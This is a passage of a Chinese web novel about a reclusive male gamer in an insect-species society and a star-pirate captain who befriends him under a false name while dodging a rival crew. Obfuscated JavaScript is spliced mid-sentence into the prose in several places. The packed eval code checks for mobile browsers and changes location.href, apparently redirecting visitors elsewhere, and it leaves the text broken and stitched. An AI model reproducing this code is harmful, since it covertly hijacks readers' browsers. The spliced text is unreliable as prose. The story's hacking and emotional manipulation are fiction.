他噼里啪啦的写了一长串,发送过去后又觉得这点儿小事写一篇几百字的小作文实在是小题大做,快速点了撤回。 期间也就不到两秒时间。 【哈特梆硬:没什么。】 【布伦丹:我看到了,很诚恳,我很感动。】 【哈特梆硬:你不诚!我撤回了就不许再提了。】 【布伦丹:好的,哈特长官,我保证不会再犯同样的错误。】 【哈特梆硬:我要吃饭了,明天记得上线军训,布伦丹下士。】 不愧是他主动添加的好朋友,非常优质。 如果没有布伦丹的鼓励,他可能永远没有勇气迈出这一步,最后逐渐变得生疏,再也不联系。 哪怕未来有一天彼此谈起相同的话题,感受也会截然不同。 时间太久,就只剩释然。 不过现在没有发展到那一步。 他神清气爽,对着空气打了一套拳才躺在床上,举起光脑看着布伦丹的照片。 布伦丹只比他大一岁,却好像经历了很多,性格也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045874|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更成熟。 但这样的雌虫也会离家出走,一定是受了很大的打击。 既然他得到了布伦丹的帮助,那他也要想办法帮助布伦丹和家里和解。 就算解决不了,也要努力让布伦丹内心感受到些许慰藉。 思考间,论坛来了一条咨询委托。 【似风:林中云雀大人,我想和您咨询一个新的问题,来自一个新的雌虫。】 哈德森这几天都没收到那对小情侣的咨询,应该是放慢进度,彼此了解中。 不过有新的咨询也是好事。 【林中云雀:好的,你说吧。】 【似风:什么情况下,你会把自己内心最深处的秘密分享给一个陌生的朋友?】 哈德森心想,这个他刚亲身经历过,也算很有经验了。不然就不好编了。 【林中云雀:这个秘密是哪种方面的?如果是自己内心的创伤,那就是出于信任。或者想要得到一定的安慰鼓励。如果是见不得光的违法行为,这种分享更多的出于炫耀心理。】 【似风:算是创伤。但没有信任,也不想得到安慰鼓励,会是什么心态?】 哈德森感觉自己被问住了,绞尽脑汁的编。 【林中云雀:也有可能是他和自己和解了。过去最深的秘密已经逐渐痊愈,哪怕被陌生朋友知道也无可厚非,不会再影响他未来的方向。】 写完这些话,哈德森感觉自己都要燃尽,紧急在网络上购买了一堆心理学的书籍。 好在对面没再继续为难他了。 ** 莱卡约原本对自己的判断非常有信心,但当他刚交换了联系方式,在星舰边翻看哈德森账号发布的内容边倒水喝。 哈德森的账号里基本全是游戏记录,还有一些转发的游戏攻略。 【今日五杀暴走!】 【轻松拿下黄金段位。】 …… 最新的一条是这样写的。 【只要遇到一个完美的搭子,一辈子都想死死缠着他。】 再看一下日期,就是三天前。 这条内容指的是谁,不言而喻了。 路过奎恩,突然听到一声响亮的嗓音: “老大,我永远信任你的一切选择!” 莱卡约歪着头看向他: “你发什么癫?” 奎恩搓着手,谄媚地说: “老大,你刚才为什么会露出那么自信的笑容啊,能不能指点我一下?我们接下来要怎么做,该怎么和猩红号周旋?” 莱卡约疑惑地问: “我笑了?” 18.真真假假 18、 莱卡约日常状态就是嬉笑着说些玩笑话,奎恩也没有意识到问题,点点头: “笑得非常帅气,就像春天来了一样,我的心都在跳动,你摸摸看。” “没事,小问题,你掏出来就不跳了。” “老大,那我不就死了吗?” “你也知道?滚蛋。” 莱卡约在奎恩的腿上踢了一脚,端着水回到舰长室。 有问题。 他得咨询一下。 林中云雀虽然比较专业,但只对雄虫行为有一定的了解,不一定能分析出结果。 抱着试一试的想法,他把角色背景更换后,简单问了两句。 得到的答案比他预想中更有深度一些。 他已经与过去的自己和解了? 六年时间,他的心态确实改变了很多。 以前在中央星生活,享受着便利的安抚条件,他一直能保持在最佳状态,所以理解不了过去的雌虫为什么会为了雄虫付出一切。 当他的体内慢慢积攒起狂躁的能量,身体有了不适的反应,体会过一次狂化病发作时的痛苦,他大概也能理解几十年前雌父的选择。 对过去的雌虫来说,婚姻不是牢笼,而是能稳定提供安抚的救命稻草。 这么想也算合理。 只要不是他对某个刚认识没多久的“陌生”雄虫突然放下了心防就可以。 但那个雄虫…… 想到哈德森,莱卡约警惕的看向了舰长室的镜子。 镜中反射的倒影里,铂金发色的雌虫嘴角弧度没有变化,但眼神里明显藏着些笑意。 真的好久没有遇到如此没有防备心的家伙,居然会随便听从陌生网友的建议。 这么放任下去,不用变老,就能给哈德森保健品了。 而且哈德森只是一个普通的C级雄虫,和S级雌虫之间有着巨大的等级差距,没有办法安抚,也就意味着没办法真正意义上的标记占有他。 等级低也有等级低的好处。 不需要那么强的戒备心。 莱卡约喝完水,开始着手调查猩红号最近的行动,心想: “现在可是货真价实的生死关头,要不找个理由先晾他几天?就说要出差什么的。” 他很快找到了一个理由: “但不确定血蝎子号上有没有叛徒。猩红号消息知道的太快了,肯定不是奎恩这个大嘴巴泄露的,时间对不上。如果现在突然改变了之前的行为习惯,被猩红号那边发现,他们就知道我的底牌不多。要在所有人面前展现出清闲自得的模样,越是危险,就越不能露出弱点。” 他认识一些军团内部的高级军官,在数据后台更改访问记录,切回中央星的IP发了几条消息询问。 等待回复的期间,他顺手黑进中央星的身份ID库里查了下“哈德森”的信息。 意外的是,在24年前,“哈德森”这个名字在整个中央星里是重名最多的一个,哪怕条件限制到雄虫,都带出来几十个。 但“哈德森”不是“路易斯”这种大众化的名字,不应该有如此多的重名。 他眉头微皱,隐隐嗅到了一丝不对劲的味道。 于是检索了一下“哈德森”名字的由来。 24年前,虫帝陛下又一次诞下幼子,是一个新的S级雄虫,起名时要从几十个名字里挑一个,“哈德森”这个名字进入了最后环节,不过没被选中。 那年就有很多孕育着雄虫的家长给自己的幼崽起了这个名字。 谁也不敢把自己孩子和S级雄虫小皇子起相同的名字,但“哈德森”当时也进入了虫帝陛下的视野中,一定是个好名字,于是登记为“哈德森”的雄虫数量就很多。 “居然也是陛下的追随者,有品。” 莱卡约反复咀嚼着“哈德森”这个名字。 确实不错,很好听。 他翻看着ID库里“哈德森”雄虫的信息,拉到最下面都没有看到眼熟的,甚至连相似的都没有。 只有两个是黑色卷发。 其中一个圆脸小鼻子小眼睛,另一个则是齐肩发,眉眼被厚厚的刘海儿彻底遮盖着,嘴唇苍白,下巴瘦得可怜,有一种游离于世间的忧郁气质,而且等级还是B级,更不符合了。 嗯? 他记得照片里的哈德森脸上带着婴儿肥,是个明亮可爱的少年。 难道哈德森在桃花缘平台上使用的是假名? 为什么用这个假名? 没等他想清楚,先收到了好友发来的信息。 【Zx-001:查到了。三年前,猩红号曾在起源星球附近出现过,之后第十八军团和第二军团的小队都和他们有过冲突,没能成功抓捕。他们似乎有了新的跃迁方式,很难追踪。】 起源星球? 那里曾经是虫族的发源地,现在遍布着空间乱流,已经不再适合虫族居住,即便靠近那个星系,都很容易遗失在混乱的空间中。 但是因为起源星球上有着整个种族的“圣巢”,每一届虫帝更替都需要回起源星球获得“圣巢”的认可,所以起源星球的周边会有军队长期驻守。 星盗之间确实有过传言,说起源星球上拥有着古老的宝藏,那是虫族全盛时期在星际间征伐时掠夺的巨大财富,只要找到宝藏,所有的需求都能得到满足。 不过莱卡约知道,那颗星球上实际上一片荒芜,除了危险,什么都没有。 猩红号生性贪婪,靠近那里也正常。 只是他们现在好像拥有了突破等级限制的能力,还有新的跃迁方式…… 这是巧合吗? 莱卡约记下这一点,准备之后和猩红号交涉时,尽量套出一些新的情报。 “真麻烦啊,明明跑出来做星盗是为了清闲自由,结果还给自己揽下一堆事。” 大脑快速运转期间,间或着冒出一个小小的杂念。 如果哈德森编了一个假名,那为什么要用这个不太常见的名字? 难道说,哈德森也追随着虫帝陛下? 这个杂念一直萦绕在他的脑海中,直到第二天一起玩游戏,他超经意问了一句: “你知道你的名字是怎么来的吗?” 哈德森语气很认真: “知道啊,我的名字意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050728|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思是帝王之子,象征着血脉的延续。这可是拉洛斯小殿下的曾用名,非常高贵。” 拉洛斯·洛西是虫帝陛下洛尔坎·洛西的幼子,S级雄虫,身份极其崇高尊贵。 莱卡约眼睛一亮: “你知道拉洛斯·洛西殿下?你还知道哪些?” 果然,哈德森不是随便使用这个假名的,这是一个拉近关系,了解彼此的突破点。 ** 哈德森对政治方面完全没有任何兴趣,但如今虫帝陛下的洛西家族是中央星传奇的新兴家族,万联网上有不少都市小说里都涉及这个家族。 当然,传播范围最广的还是虫帝和雌君之间的模范爱情故事,只要会上网逛论坛,都知道七七八八。 他不太喜欢虫帝陛下推行的政策,彻底断绝了他白捡一个好老婆的希望。 但虫帝陛下长得很好看,耀眼明亮,又非常温暖,他喜欢,所以也了解一些。 这是要进入闲聊模式吗? 他不擅长啊。 不过他听出布伦丹对这个话题比较感兴趣,决定展开聊聊。 “你是说洛西家族成员吗?我知道兰德、布里安努斯、艾瑞迪……” 原因不为别的,布伦丹刚刚帮助过他,他也不能做扫兴的家伙。 所以,当聊着聊着,布伦丹问起他对虫帝陛下是什么看法,就直接说: “很完美。” 的一张脸。 布伦丹带着诱导的口吻说: “很多雄虫都不太喜欢陛下,他推行的那些新政策实际挤压了雄虫的生存空间,你应该能感受到吧。” 这任虫帝上任后,从政策层面保障雌虫的基本生存权,还将安抚从原本的家庭模式主导转变成了公共医疗服务,雄虫对雌虫的控制力下降了很多,在家庭中的地位也随之发生了改变。 虽然因为雄虫数量稀少,整体大环境依旧是雄性的家庭地位更高,但雌虫在婚姻中有了退出的权利,雄虫也就不像过去那样,处在家庭中绝对的主宰地位。 哈德森想了想,其实改革和他的关系没那么大,他对组建家庭还有做ai繁衍没太大兴趣,要是硬塞给他几个,还真受不了。 “还好吧,我对政治不了解。” 然后他听到布伦丹叹了口气,轻声说了一句: “这样我就进行不下去了啊。” 那道声音非常轻,如果不是为了玩游戏,哈德森刻意购买了昂贵的专业耳机,他一定听不到这句话。 难道说…… 布伦丹其实不喜欢虫帝陛下吗? 他立刻调转口风: “但我不喜欢。太完美了,肯定都是包装出来的设定,粉丝也很魔怔,天天在论坛上各种宣传,经常把别人正常帖子闹得楼都炸了。” 布伦丹沉默了片刻,说: “你说得很对,确实有这种情况。” 哈德森莫名从他的语气中听出了一些尴尬,但这种尴尬却有种难以形容的少年气息,和平常不一样。 他的心尖发痒,好像有羽毛笔来回轻拂着,后知后觉意识到一件事。 布伦丹和他年龄相仿。 19.反复撤回 19、 对于哈德森来说,开始一段新的关系非常艰难,之后每一步也有着无数雷点。 他不喜欢尬聊,也不喜欢别人随便挤占他的个人空间。 虽然很多时候他所谓的个人空间就是坐在那里发呆,那也是边界感清晰,神圣不容侵犯。 他只能在一定限度内与别人稍微聊几句,只要闲聊时间拉长就会意识到,他根本不擅长对话。 他对聊天缺乏兴趣,对了解他人的喜好更是如此。 欲望寡淡、对很多事物都缺乏探索欲。 但是,当布伦丹已经不准备继续这个话题,开始谈论这局游戏接下来该怎么打,他内心却涌起了一种强烈的冲动。 他想继续聊下去。 他想剥开布伦丹成熟稳重的外壳,看到里面藏着什么。 一定会发生很美妙的事情。 那种美妙中隐约掺杂了一些小小的恶劣。 具体是什么,他想不清楚,只是循着本能直接问道: “你是虫帝陛下的粉丝吗?” 布伦丹那边又沉默了。 以前都是哈德森自闭,这次换到对面,他不仅没有觉得自己不会聊天,把气氛搞得太过尴尬,反而有种奇怪的兴奋: “对不起,我不知道。陛下的粉丝群体里也有优秀的雌虫,个别极端行为不能上升到群体。” 布伦丹轻笑一声: “也不能用粉丝来形容,我们这个种族注定会永远追随虫帝陛下的指引,这是刻在基因里的远古天性。就像雌虫对雄虫的气味有着强烈的渴望,在繁衍天性的影响下疯狂追求着雄虫。” 很平淡且无功无过的话,并且试图悄无声息的将话题转移到另外一个方向。 哈德森却听不出这些弯弯绕绕,只是从他的语气中听出了一些狼狈,说: “所以你的意思是,你是虫帝陛下意志的执行者?” “……你是怎么理解的?” 哈德森忍不住笑了起来: “不知道啊,你刚才的话就给我传达出这种感觉。” 布伦丹: “我们看看这一把决赛圈去哪个地方吧,现在都被包围了。” 布伦丹的反应实在有趣,但哈德森对胜利的渴望也很强烈,只能很勉强的将注意力转移到游戏上。 打完游戏后,他就开始查虫帝洛尔坎的资料,偶尔刷到一些超帅高燃的片段剪辑,就给布伦丹转发一个。 自从把布伦丹归类到“好朋友”这个范围内后,哈德森的行为放肆了很多。 聊天界面上一直显示着“正在输入中”,但迟迟没有消息发过来。 【哈特梆硬:不用回复,我在完成平台的任务,这样可以增进我们的好友值。】 【布伦丹:好的。】 【哈特梆硬:但陛下确实挺帅的。】 【布伦丹:我不是粉丝。】 【哈特梆硬:哦,我知道。】 【哈特梆硬:「视频」】 布伦丹之后没再回复他,不过他发过去的每一条信息都是已读。 这偏偏是哈德森最满意的状态。 如果布伦丹总是回复他,他会觉得一直开闲聊模式太累。如果布伦丹完全不看信息,他又会觉得自己是不是骚扰到对方了。 好在布伦丹是他精心挑选的好朋友,反应总是能完美踩中他的舒适圈。 ** 莱卡约原本都想着,如果哈德森是洛尔坎的粉丝,那他们勉强也算同好,就不准备继续欺骗这个小雄虫的感情,换另外一个攻略对象。 随便找个借口慢慢断了来往,之后不再联系。 但是…… 从早上一直到晚上,光脑隔三差五响起一连串的提示音。 他一打开,就是哈德森转发的各种虫帝剪辑视频。 甚至第二天一大早,哈德森发送的第一条信息不再是“上号,大逃杀”,而是一条标题为【扒一扒虫帝陛下那些年的隐藏身份,有完整时间线】的视频。 他又真的会点进去看。 然后时间悄无声息的浪费了十几分钟。 等他切出来,就看到哈德森发来一条信息。 【哈特梆硬:「小狗偷笑」你在看,是吧?都顾不上回信息了。】 既然如此,他也不心软了。 【布伦丹:没有,我只是刚醒。这几天事情挺多,我不一定有时间玩游戏了。】 随后,他的聊天界面上面一直显示着“正在输入中”,他以为哈德森又要写小作文了,但最后发过来一句。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056059|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【哈特梆硬:哦。】 虽然只有一个字,莱卡约百分百确定,哈德森此刻一定非常沮丧。 紧接着,他又发送了一条。 【布伦丹:忙完这段时间我应该能去第十二区一趟。】 “正在输入中”又挂在了他的聊天界面里足足三分钟,哈德森才纠结完毕,发送过来他想说的话。 【哈特梆硬:好的。】 依旧简短,莱卡约此刻心情却舒畅了许多。 【布伦丹:到时候可以请你一起吃顿饭吗?】 【哈特梆硬:我不喜欢出门。】 光速撤回。 【哈特梆硬:可以。】 再次撤回。 莱卡约也不等他纠结出结果了,直接发了一条消息。 【布伦丹:等吃完饭,我们线下打一把游戏,怎么样?】 【哈特梆硬:好的!】 末尾的标点符号清晰传达了哈德森的心情。 处理完这边后,莱卡约出去安排血蝎子号之后的行程,顺便简单交代了自己的规划。 “我要去中央星一趟,你们驾驶着血蝎子号尽可能远离这里,但不要离开中央星系的信号范围,等我办完正事再联络。到时候星舰由奎恩代为管理。” 休息室内一阵哗然。 莱卡约继续说: “你们也能看到,猩红号就在附近。我担心他们来者不善,更担心我的老伙伴血蝎子号出什么问题。所以,你们需要在这两天尽快离开,我在这里牵制着他们。要是飞上去猩红号攻击你们了,那就是我没牵制成功,你们自求多福。” 他的手下安静了许多,几个雌虫眼神都看向了奎恩。 奎恩硬着头皮问: “老大,难道你要抛弃我们?” 莱卡约冷着脸回答道: “你知道我的宝贝血蝎子号有多贵吗?我又不是什么富裕有钱的雌虫,我视金钱为命根子,一定会拿回血蝎子号。当然,你们如果在上面没跑,就顺带把你们也捡回来。” 奎恩的眼睛明亮了许多,挺直腰杆大喊道: “好的老大!我一定会保护好血蝎子号!” 莱卡约视线不动声色的在下面扫过,捕捉到几个略显异常的表情,记在了心里。 20.面基经验 20、 哈德森在床上连翻了几圈,怎么都睡不着,心脏扑通扑通的乱跳。 居然要面基了吗? 他以前在论坛上刷到过类似的帖子,但自己根本没有尝试过一次。 他的好友基本都是上学时认识的同学,没有线下面基的必要。 而他在万联网上认识的好友,每当想约他出来见一面,他的第一反应都是拒绝,对方就不会再继续这个话题,之后关系也会慢慢淡了。 他也有面基的想法,可一想到那天要出门,或许还要想好见面后聊什么内容,之后又干什么,他的内心就有些抵触。 布伦丹不一样。 他明明拒绝了,布伦丹却不管那些,只是说着安排。 对于他这种有些被动的宅雄来说,真的是非常贴心了。 能认识这种朋友真好啊! 他开始在论坛上搜索“面基”的帖子。 大部分热帖都是情侣向的面基过程,他直接略过,主要看那些亲友向的面基帖子。 【和亲友的面基初体验!记录向】 他点开,里面图文并茂。 前面介绍了一下贴主和亲友的认识经过,后面就是描述他的感受。 【收到亲友邀请时非常紧张!晚上根本睡不着觉,脑子里一直都在想这件事…】 对,他就是这种感受。 甚至看到布伦丹消息的那一刻,心脏都变得紧紧的,大脑一片空白。 【…之后我在家里的日历写上了倒计时,开始激动的倒数日子…】 哈德森立刻起身在家里翻箱倒柜,从犄角旮旯里找到了游戏公司送的氪金礼盒,里面有一个日历。 他摆到自己的桌子上,准备等布伦丹告诉他日期的时候,也画上圈。 【…见面的时候也很紧张,生怕认错,不过亲友提前告诉我他的衣着打扮,还给我发了照片,他真的很好看,穿衣也很有品…】 衣着打扮? 他忐忑不安地在半夜发送信息骚扰他的好友。 【哈特梆硬:阿喵,有个小问题,你看到之后一定要回答我。】 【哈特梆硬:面基时穿什么衣服合适?】 随后继续刷帖子。 【…见面的第一时间我就冲上去拥抱了他。他身上香香软软的,超级可爱…】 拥抱。 他记住了这一点。 【…我们一起吃了饭,之后他来我家住,穿着我的睡衣,还给我化了妆…】 面基还要住在家里? 哈德森左右环视着他的出租小屋,眉头紧皱,决定无视这一条。 【…第二天我们一起去逛展会,嘿嘿,玩得特别开心。离开时真的好不舍啊…】 之后是几张脸部打码的照片,穿着风格可爱,是两个雄虫。 哈德森又翻了几个帖子,总结出几条经验。 第一,大部分基友刚见面时都会有拥抱、搭肩等行为。 第二,大家都会精心打扮一番。 第三,面基成功后友情会迅速升温。 第四,分开时都会非常不舍。 帖子里也有一些分享面基失败经历的,九成都是情侣向,原因就是照片与实际长相严重不符。 哈德森没有放在心上。 他又不是抱着恋爱的目的,不需要在面基时和布伦丹亲嘴,布伦丹长什么样当然不…… 他翻出布伦丹发给他的两张照片,仔细观察了一会儿,越看越满意,心里默默祈祷着: “求求了,千万别是照骗!” 哪怕是吃饭,看到一张自己喜欢的脸,饭菜都会香很多。 他折腾了一晚上都没睡,第二天早上醒来时,阿喵已经给他发了好多条消息。 【阿喵:你要出门,我没看错吧,你这个万年宅雄要面基?】 【阿喵:雌虫还是雄虫,我认识吗?】 【阿喵:别把我好奇心勾起来又装死啊!快回复我!哈德森,起床了!】 还有几个未接通讯。 哈德森没想到他的反应如此激烈,稍微有了一丢丢的尴尬。 【哈特梆硬:就是万联网上认识的好友,之前和你说过,我的单主。】 对面光速回复,明显已经在光脑前待机很久了。 【阿喵:雌虫?!虫帝在上啊,你终于要摆脱处雄的身份了。】 哈德森的脸顿时涨得通红,手指在屏幕上用力敲着,恨不得隔着屏幕戳死阿喵。 【哈特梆硬:你少胡说,我们是普通朋友!我问问你我该穿什么衣服,你就开始造谣了?】 【阿喵:哦,朋友。一个几年没出过门的雄虫,为了见一个普通朋友,愿意踏出家门,还想要把自己打扮得漂漂亮亮。就算我信了,对面那个雌虫会信吗?】 【阿喵:这么短的时间就约你出来,会不会是个骗子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061644|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想要骗财骗色?】 哈德森有些生气。 他的朋友很少,但每一个他都很在意。 【哈特梆硬:你再说这些我就生气了,他也是我的朋友,你怎么能这么说?】 【阿喵:好吧好吧。我的建议是,外面套一身咖色风衣,配上同色系的围巾,里面可以穿衬衣加一件马甲,裤子随便一条深色宽松款就行。你个子高,这么穿也好看,而且打扮偏中性化一些更安全。】 【阿喵:记得把你那头卷毛也收拾收拾。】 哈德森记下了。 这都是基础款的衣服,他的衣柜里有现成的。 【阿喵:还有最重要的一点。出门前和你的雄父说一声,和我说也行。至少让一个好友或者家人知道你的行踪,你是雄虫,记住,安全第一。】 【哈特梆硬:哦,好的。】 原本已经打算结束聊天,哈德森突然想到了什么,又问道。 【哈特梆硬:如果我的样子和发给他的照片有一点出入,会有什么影响吗?】 【阿喵:……朋友?】 【哈特梆硬:嗯,对啊。】 【阿喵:理论上没影响。】 哈德森放下心来。 ** 血蝎子号用了一晚上的时间整备完毕,在早上最合适的时机点起飞,远离了这颗小行星。 莱卡约在酒馆找了间房子休息,很快听到隔壁有了细微的动静,在酒馆嘈杂的环境下掩饰的很好。 他假装没发现,打开光脑联系哈德森。 【布伦丹:现在我有时间了,玩吗?】 【哈特梆硬:1。】 这次,他始终保持着高频率的聊天,还把语句替换成比较暧昧的表达。 “我想和你在一起,我可以一直保护你,怎么样?” ——我们走一路,你玩辅助。 “你觉得我帅吗?” ——三杀牛不牛。 “我想给你最好的,别拒绝我。” ——有buff,过来拿。 星盗群体普遍都排斥腻腻歪歪的说话方式,更别提监听他的是猩红号舰员。 没几分钟,隔壁房间就龇牙咧嘴的出了门。 莱卡约达成了目的,没再继续那种肉麻的说法。 而哈德森则疑惑地嘟囔着: “我的耳机怎么一直漏电啊,哪天去修一下。哦,现在好了。” 21.准备礼物 21、 都漏电了怎么还继续用啊? 莱卡约在中央星上真没见过如此贫穷的雄虫。 一转眼,他又看到了哈德森花里胡哨的特效皮肤,行走时还带着长长的拖尾。 其他游戏也一样。 绝版的防尘口罩、点缀着火焰纹饰的枪械皮肤、小狗挂坠、彩色的头像框等等,数不胜数。 哈德森甚至还会根据不同的地图更换对应的装备皮肤。 每一件都要花费不少星币。 与此相比,莱卡约从头到脚都是默认的初始装备,就像在村里刚种完地的乡下农民,和城里的时髦大佬组队。 不过除了他,谁也不知道,这个大佬游戏途中还时不时要遭受物理“电击”。 对此他没什么可说的。 消费观不同,没必要强迫别人改变。 大部分雌虫都倾向于把星币花在更实用的东西上。 哈德森这种装扮放在其他玩家眼里,要么是家里特别富裕的二代雌虫,要么就是爱玩游戏的雄虫。 一般雌虫都不会在游戏里为难雄虫玩家,而且还会尽可能的尝试勾搭。 但一起玩了这么长时间,莱卡约发现,哈德森在游戏里经常是刚开局没什么事,过了没一会儿就会挨最狠的打。 有时别的队伍都会放弃输赢,一定要把哈德森打死。 他合理怀疑,那些玩家是看到哈德森游戏水平很不错,都把哈德森看作富二代雌虫,仇恨值直接拉满。 哈德森自己倒是毫无察觉,就一门心思出最硬的装备,挨最毒的打,然后一声不吭的练技术,硬是要练出来才罢休。 莱卡约一直很欣赏这种性格,不会利用性别的优势,自然也不会屈从于性别的刻板印象。 当然,只是性格。 他不喜欢雄虫。 不过,为了能加快攻略的进度,他是不是应该…… 莱卡约切换到中央星的IP,在购物车里加入了一款限量版专业级别的游戏耳机,质量品控都是行业一流水平。 见面礼物,要表示出足够的诚意,也要展示财力,同时还要加入一点点观察力,这样才能迅速攻破雄虫的防线。 没错,雄虫都吃这一套。 至于打完游戏后,他又在购物软件里反复查看,花费了一个多小时挑选比较,从耳机的参数再到评价反馈,还咨询了林中云雀,第一次送礼物什么样的比较合适,最后才综合敲定下来。 都是为了攻略。 他必须要拿下哈德森的心。 这是《怀孕宝典》里着重强调的一点。 在制度还没有建立的远古时期,雄虫都是以附属品的身份存在,地位极其低下,和现在截然不同。 那时,雄虫因为幼年期弱小,且发育时间长,无法快速生产价值,一直都被视作赔钱货,出生后就会被很快遗弃。 雌虫消耗了体力与时间,没能生出强壮的雌虫,就会将怒火发泄在弱小的雄虫身上。 雄虫为了自保,逐渐进化成一种能力。 在焦虑不安的环境下,他们会尽可能的减少“雄虫”精子的产出,确保能最大概率的孕育出雌虫后代。 因为这种雄虫能高效孕育雌虫,他们的基因有了延续的可能。 虽说在狂化病的影响下,现在雄虫的地位和过去完全不同,但被动筛选精子的基因却始终存在。 而焦虑和不安又是最常见的情绪。 哪怕只是在万联网上和其他网友吵了一架,都可能陷入焦虑之中。 再加上雌虫普遍身材高大强壮,体型之间的差距天然会带来不安全感。 想要让雄虫违背本能建立起信任,最简单快速的方式就是,爱。 并且不能是雌虫单方面的释放爱意。 雌虫过于强烈的感情也会变成雄虫焦虑的源头。 所以,必须是雄虫心甘情愿的爱,才能让他的心情安定放松,愿意繁衍出雄虫后代。 其他方式也有,基本都要很长的时间。 莱卡约想,这也是他不愿意更换攻略对象的原因之一。 哈德森相较于其他雄虫,有许多可攻略的突破口。 穷,绝对不是雄虫的缺点。 如果再加上一点儿不谙世事,还有孤独,那真是完美至极。 就像现在,不到半个月的时间就能约出来见一面,那走到最后一步,岂不是简简单单? 此时莱卡约还意识不到,他的大脑里已经在合理化他的一切行为,完全把其他雄虫的选项排除在外。 他只是专心挑选礼物,下单,随后又挑了几件雄虫可能会喜欢的小物件。 直到他的房门响起了“咚咚”的沉重敲击声,他才想起来,猩红号上的家伙还在虎视眈眈。 “门没关。” 莱卡约提高了声音。 房门打开后,直接挤进了三个高大的雌虫,面色不善的盯着他。 为首的正是阿历克斯。 “莱卡约,按照约定,我来找你谈委托内容了。” 莱卡约笑了笑: “哟,你们这几个大个子钻进来,房门都要被挤破了,我身上可没有多余的星币赔给老板。” 阿历克斯坐在唯一的椅子上,扬扬下巴。 他身后两个雌虫立刻上前,擒住了莱卡约,将他粗暴的推在前面。 “你很聪明,知道自己已经没有反抗的能力了,就不再尝试激怒我。” 阿历克斯向后靠着椅子,抬起脚踩在莱卡约的肩膀上,语气中带着明显的恶意: “真可怜啊,想要牺牲自己保全星舰上的伙伴,可惜啊。” 莱卡约没有惊慌失措: “哇,原来我这么伟大,我真棒。” 阿历克斯脸色一沉,脚下用了力气,迫使莱卡约弯下腰: “少油嘴滑舌!你以为你很聪明,还想威胁我?听着,血蝎子号已经被我的兄弟们掌控,你一个雌虫也逃不出这里。” 莱卡约说: “不可能,血蝎子号上都是我出生入死的兄弟,你休想诈我。” 阿历克斯俯下身,眼神中透着一股诡异的兴奋: “兄弟?那你知道,你的行程早就被你的兄弟卖给了其他星盗吗?” 莱卡约没说话。 阿历克斯很满意他的反应,继续说: “你对他们确实不错,但你太规矩太古板了,明明是星盗,居然还约束着他们,无趣。所以他们才想来到我这里,猩红号更自由。” “是谁?” 阿历克斯当然不会回答他的问题。 现在他是绝对的主导者,不可能再顺着莱卡约的节奏。 他自顾自地说着: “我一开始想和你做笔公平交易,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068365|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不识趣,那我就只能用点儿别的办法,教教你星盗的规矩。不过你的提议确实不错,去中央星有一定的风险,我也担心再出一个叛徒。但你,不会背叛我,对吧?” 他俯下身,抓着莱卡约的头发: “你出生入死的兄弟还在上面飘着呢,你一定会乖乖回来救他们。哦,不对,你是顺带把他们捡回来。” 他故意用了莱卡约说过的话,暗示血蝎子号上存在内鬼。 莱卡约垂下视线,依旧没有回应。 这个反应也在阿历克斯的预想之中,逃避视线在星盗中是退让臣服的意思。 他拍了拍手,让两个手下先出去,然后对着莱卡约说: “那个叛徒叫斯利特,一个满嘴谎言的雄虫,灰色卷发,身材瘦小。二十多年前,他从我手中偷走了一块石头,你的任务是杀了斯利特,从他手里拿回那块石头。” ** 哈德森打完游戏后,闲得发慌,对着镜子理了一下自己的卷毛。 